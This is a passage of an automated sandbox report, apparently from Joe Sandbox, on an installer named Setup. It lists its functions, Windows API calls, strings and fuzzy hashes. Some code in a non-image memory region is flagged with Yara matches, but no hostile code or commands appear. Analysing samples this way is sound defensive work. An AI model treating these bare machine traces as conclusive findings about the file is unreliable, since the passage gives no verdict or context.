Part of subcall function 00422FD4: 73EA4620.GDI32(00000000,0000005A,00000000,00000000,00422F74,00410660,00000000,?,?,00000000,?,00418F63,00000000), ref: 00423045
Part of subcall function 00422FD4: 73E9A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00422F74,00410660,00000000,?,?,00000000,?,00418F63,00000000), ref: 00423050

Part of subcall function 00423598: LoadIconA.USER32(00400000,MAINICON), ref: 00423628
Part of subcall function 00423598: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418F76,00000000,?,?,?,00000001), ref: 00423655
Part of subcall function 00423598: OemToCharA.USER32(?,?), ref: 00423668
Part of subcall function 00423598: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418F76,00000000,?,?,?,00000001), ref: 004236A8

Part of subcall function 0041F098: GetVersion.KERNEL32(?,00418F80,00000000,?,?,?,00000001), ref: 0041F0A6
Part of subcall function 0041F098: SetErrorMode.KERNEL32(00008000,?,00418F80,00000000,?,?,?,00000001), ref: 0041F0C2
Part of subcall function 0041F098: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418F80,00000000,?,?,?,00000001), ref: 0041F0CE
Part of subcall function 0041F098: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418F80,00000000,?,?,?,00000001), ref: 0041F0DC
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F10C
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F135
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F14A
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F15F
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F174
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F189
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F19E
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F1B3
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F1C8
Part of subcall function 0041F098: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F1DD

Strings

Delphi%.8X, xrefs: 00418EDF
ControlOfs%.8X%.8X, xrefs: 00418F1B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$A4620A480A570EnumFileFontsIconLibraryLowerModuleNameProcessThreadVersion
String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 1580766901-2767913252
Opcode ID: aefb24187b1c6754b33b933d04660afc228d51a65d430ab9be24d96cf2b673bc
Instruction ID: bc78368b5432ffa60b12bd636eb0ab5eba85ab16b4fef4843fdfa0bf5691ba6c
Opcode Fuzzy Hash: aefb24187b1c6754b33b933d04660afc228d51a65d430ab9be24d96cf2b673bc
Instruction Fuzzy Hash: A0112C70A142419AC700FB66994274A7BE1ABA430CF80843FF448E73A2EB7999458B1F

Function 00422FD4 Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

73E9A570.USER32(00000000,?,?,00000000,?,00418F63,00000000,?,?,?,00000001), ref: 0042302A
EnumFontsA.GDI32(00000000,00000000,00422F74,00410660,00000000,?,?,00000000,?,00418F63,00000000,?,?,?,00000001), ref: 0042303D
73EA4620.GDI32(00000000,0000005A,00000000,00000000,00422F74,00410660,00000000,?,?,00000000,?,00418F63,00000000), ref: 00423045
73E9A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00422F74,00410660,00000000,?,?,00000000,?,00418F63,00000000), ref: 00423050

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: A4620A480A570EnumFonts
String ID:
API String ID: 178811091-0
Opcode ID: d9acef34e1f47945b3ba77f8ae7ed2c0cbdaf9bfa96565ceff18451529094593
Instruction ID: 113d6204a4a413f6c974e1823df256236299444ff95e0df29380483fe522624c
Opcode Fuzzy Hash: d9acef34e1f47945b3ba77f8ae7ed2c0cbdaf9bfa96565ceff18451529094593
Instruction Fuzzy Hash: 790192717043006AE710AF795D86B9A3B64AF05718F40027BF904BF2C7D6BEA80487AE

Function 0049B840 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040332C: GetModuleHandleA.KERNEL32(00000000,0049B84E), ref: 00403333
Part of subcall function 0040332C: GetCommandLineA.KERNEL32(00000000,0049B84E), ref: 0040333E

Part of subcall function 004062BC: GetModuleHandleA.KERNEL32(kernel32.dll,?,0049B858), ref: 004062C2
Part of subcall function 004062BC: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 004062CF
Part of subcall function 004062BC: GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004062E5
Part of subcall function 004062BC: GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004062FB
Part of subcall function 004062BC: SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,0049B858), ref: 00406306

Part of subcall function 00409B88: 6F9C1CD0.COMCTL32(0049B862), ref: 00409B88

Part of subcall function 00410964: GetCurrentThreadId.KERNEL32 ref: 004109B2

Part of subcall function 00418FD0: GetVersion.KERNEL32(0049B876), ref: 00418FD0

Part of subcall function 0045255C: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0049B88F), ref: 00452597
Part of subcall function 0045255C: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0045259D

Part of subcall function 00452A00: GetVersionExA.KERNEL32(0049E7DC,0049B894), ref: 00452A0F

Part of subcall function 00455DBC: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00455E55,?,?,?,?,00000000,?,0049B89E), ref: 00455DDC
Part of subcall function 00455DBC: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455DE2
Part of subcall function 00455DBC: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00455E55,?,?,?,?,00000000,?,0049B89E), ref: 00455DF6
Part of subcall function 00455DBC: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455DFC

Part of subcall function 00459918: GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 0045993C

Part of subcall function 004670D8: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049B8B2), ref: 004670E7
Part of subcall function 004670D8: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 004670ED

Part of subcall function 0046F228: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046F23D

Part of subcall function 0047ADD0: GetModuleHandleA.KERNEL32(kernel32.dll,?,0049B8BC), ref: 0047ADD6
Part of subcall function 0047ADD0: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 0047ADE3
Part of subcall function 0047ADD0: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 0047ADF3

Part of subcall function 004988F8: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 00498911

SetErrorMode.KERNEL32(00000001,00000000,0049B904), ref: 0049B8D6

Part of subcall function 0049B600: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0049B8E0,00000001,00000000,0049B904), ref: 0049B60A
Part of subcall function 0049B600: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0049B610

Part of subcall function 004243E0: SendMessageA.USER32(00010426,0000B020,00000000,?), ref: 004243FF

Part of subcall function 004241D0: SetWindowTextA.USER32(00010426,00000000), ref: 004241E8

ShowWindow.USER32(00010426,00000005,00000000,0049B904), ref: 0049B937

Part of subcall function 00483FB0: SetActiveWindow.USER32(00010426), ref: 0048405E

Strings

Setup, xrefs: 0049B91D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$HandleModule$Window$Version$ActiveClipboardCommandCurrentErrorFormatLibraryLineLoadMessageModePolicyProcessRegisterSendShowTextThread
String ID: Setup
API String ID: 504348408-3839654196
Opcode ID: 4faf648cfa0568dd1ffd5766a044decdbe66202ae8152082bdab7717420a3a40
Instruction ID: 65d5ab90c4a8b5f425a830f21463e99706f37d04fd5a2e1440310187795a8583
Opcode Fuzzy Hash: 4faf648cfa0568dd1ffd5766a044decdbe66202ae8152082bdab7717420a3a40
Instruction Fuzzy Hash: 8041B4713146009ED601BBB7B913A1D3BA8EB99718B91453FF900D2653DE3C5C149AAE

Function 00459918 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004598AC: CoInitialize.OLE32(00000000), ref: 004598B2

Part of subcall function 0042E168: SetErrorMode.KERNEL32(00008000), ref: 0042E172
Part of subcall function 0042E168: LoadLibraryA.KERNEL32(00000000,00000000,0042E1BC,?,00000000,0042E1DA,?,00008000), ref: 0042E1A1

GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 0045993C

Strings

shell32.dll, xrefs: 00459931
SHCreateItemFromParsingName, xrefs: 00459927

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressErrorInitializeLibraryLoadModeProc
String ID: SHCreateItemFromParsingName$shell32.dll
API String ID: 2906209438-2320870614
Opcode ID: c16f3952836b088ef6b0dc9ff3e046faf477c3da99d19552bbd8357e186ba1e3
Instruction ID: 708c436332b5ed667982b55860c97de63b8ce473ec1e574c2bae77c863023aea
Opcode Fuzzy Hash: c16f3952836b088ef6b0dc9ff3e046faf477c3da99d19552bbd8357e186ba1e3
Instruction Fuzzy Hash: D7C002D0A51610A6DA0177BBA44264F25449B9131AB50847FB944A6287DA3D8C198B6D

Function 03193A0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 03193A9D

Strings

.dll, xrefs: 03193A42

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: ce2ed32a1a2842d642acf6d13121ca65e8b28409638c007e434ae346b09cc125
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: EF210A3A6042858FFF25CF6DC844A6DBBE8AF09320F0D55AED815CB641D730E8458740

Function 00423148 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 00423155
LoadCursorA.USER32(00000000,00000000), ref: 0042317F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: c3af08029046fc6187798bf9910cacebf82756aff6951d572ee5bb748725c11d
Instruction ID: b9edf354224ebf62b11b890dd06ee486ac92b6ee9a6463df310981cc8e7d7197
Opcode Fuzzy Hash: c3af08029046fc6187798bf9910cacebf82756aff6951d572ee5bb748725c11d
Instruction Fuzzy Hash: 1AF0E5117006206AD6105D7E6CC0E3F72A8CB85336B64037BFA3AC73E1C72D6C81466D

Function 0042E168 Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E172
LoadLibraryA.KERNEL32(00000000,00000000,0042E1BC,?,00000000,0042E1DA,?,00008000), ref: 0042E1A1

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: d552f276cab300d3b8dbabc9ba62586238de3330adb74ea94986c14aa54ed09f
Instruction ID: a8550d94fb2f234c24ead4304543e5338294a3c48dcdfb796d4b7e3b075a7b05
Opcode Fuzzy Hash: d552f276cab300d3b8dbabc9ba62586238de3330adb74ea94986c14aa54ed09f
Instruction Fuzzy Hash: 38F082B0714704BEDF119F779C5283BBBECEB0DB1479248BAF800E2A91E53D4820C968

Function 004014DC Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017D5), ref: 0040150B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017D5), ref: 00401532

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: daa7379a2bafcc1154b48c713e923c386883b182e38283c99c3ec23617fb3b22
Instruction ID: bdba846a58565c0c92aaee02c9ed6eb6ce50f7c0c83c9abaa39fb14fa9cefcdb
Opcode Fuzzy Hash: daa7379a2bafcc1154b48c713e923c386883b182e38283c99c3ec23617fb3b22
Instruction Fuzzy Hash: B5F02773B0062027EB20A66A0C81F535AD49F85794F150077FE08FF3E9D2B98C0142A9

Function 004085E4 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040871A), ref: 00408603

Part of subcall function 00406DF4: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406E11

Part of subcall function 00408570: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049E4BC,00000001,?,0040863B,?,00000000,0040871A), ref: 0040858E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: c398458f94896d6d983dac53328332fced2d7fdf38602939683527b72c1cc17b
Instruction ID: 9da4114ae3755cb6e12c1dd65bdad44b6cc0744836b5fc8f8433119a38ee7dc1
Opcode Fuzzy Hash: c398458f94896d6d983dac53328332fced2d7fdf38602939683527b72c1cc17b
Instruction Fuzzy Hash: 55312F31E005199BCF00DF95CCC199EB7B9EF84314F15857BE815AB285E638AE018B98

Function 0319265D Relevance: 1.6, APIs: 1, Instructions: 325memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 031926D7

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: 80a5d91d8684d34f8507e5763f06c0d811f92ca528be0de590fd5722c78d60c7
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 9EB1B235500B1ABBEF25DA60CC80BA7F7ECBF0D310F18092BE95996150D731E552CBA1

Function 0042E5D8 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00455E3F,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E5F7

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: e5a2a2e977942d5704f95e84363834a8eb160151310d04e1b414e7c6389cad34
Instruction ID: d0a533097913c888b1b3aca91855c059d971433cb8285bfc733ad90aa1129154
Opcode Fuzzy Hash: e5a2a2e977942d5704f95e84363834a8eb160151310d04e1b414e7c6389cad34
Instruction Fuzzy Hash: 1EE0207179472137F23514555C83B7B110E43C0714F9040267B00DE3E2EAEEDD4A416E

Function 00406288 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,00423588,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B18), ref: 004062B1

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e3714cad1c9f34a46d3dc216f3ad21bd635b8ec02505eb91f910449672cbc28c
Instruction ID: a147f95ab2e7a13111811b8307f431208f548e9b1b8aaedca69ed5c0993eeeeb
Opcode Fuzzy Hash: e3714cad1c9f34a46d3dc216f3ad21bd635b8ec02505eb91f910449672cbc28c
Instruction Fuzzy Hash: 4AE002B2204349BFDB00DE8ADCC1DABB7ACFB4C654F848105BB1C972428275AC608B71

Function 00423558 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00423504: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 00423519

ShowWindow.USER32(00410660,00000009,?,00000000,0041ED24,00423846,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B18), ref: 00423573

Part of subcall function 00423534: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 00423550

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: be72a723325a0050690cbd0225c0a9d05a3312228601900e51e280b52da45659
Instruction ID: c0fbc43032f1401658f41e94221902c26d971ac3e72e8d5390eb75e7fc0a38bc
Opcode Fuzzy Hash: be72a723325a0050690cbd0225c0a9d05a3312228601900e51e280b52da45659
Instruction Fuzzy Hash: FED05E967421B03106107AB73805A9BC6B84D862AA388086BB4488B206E92ECB8155E8

Function 0042E1C3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042E1E1), ref: 0042E1D4

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 204503478738d6a382d5277fe7041b0afde9181fb004c289272137a8d6397146
Instruction ID: 591ebcb403c3c59a02bfbf62d303f645ec4492faea04239e733ae259fadafd46
Opcode Fuzzy Hash: 204503478738d6a382d5277fe7041b0afde9181fb004c289272137a8d6397146
Instruction Fuzzy Hash: B0B09B7671C6005DEB0D9695785242963D4D7C87103E14477F404D6580D93C5510C92C

Function 0041F344 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED24,?,0042379B,00423B18,0041ED24), ref: 0041F362

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 549f6e299d9f7a4207760dfd4f728268c1f98bfc3b9bc9e8ac054c2d070368f1
Instruction ID: 6ca14837381c49ffe78fca69af8984a628109162d53c7a77900ae516f86aeefc
Opcode Fuzzy Hash: 549f6e299d9f7a4207760dfd4f728268c1f98bfc3b9bc9e8ac054c2d070368f1
Instruction Fuzzy Hash: EE114C742007059BD710DF1AC880B86F7E5EB58390B14C53BE9588B385E374E8468BA8

Non-executed Functions

Function 0044E498 Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044E444: GetVersionExA.KERNEL32(00000094), ref: 0044E461

LoadLibraryA.KERNEL32(uxtheme.dll,?,0045258D,0049B88F), ref: 0044E4BF
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044E4D7
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044E4E9
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044E4FB
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044E50D
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044E51F
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044E531
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044E543
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044E555
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044E567
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044E579
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044E58B
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044E59D
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044E5AF
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044E5C1
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044E5D3
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044E5E5
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044E5F7
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044E609
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044E61B
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044E62D
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044E63F
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044E651
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044E663
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044E675
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044E687
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044E699
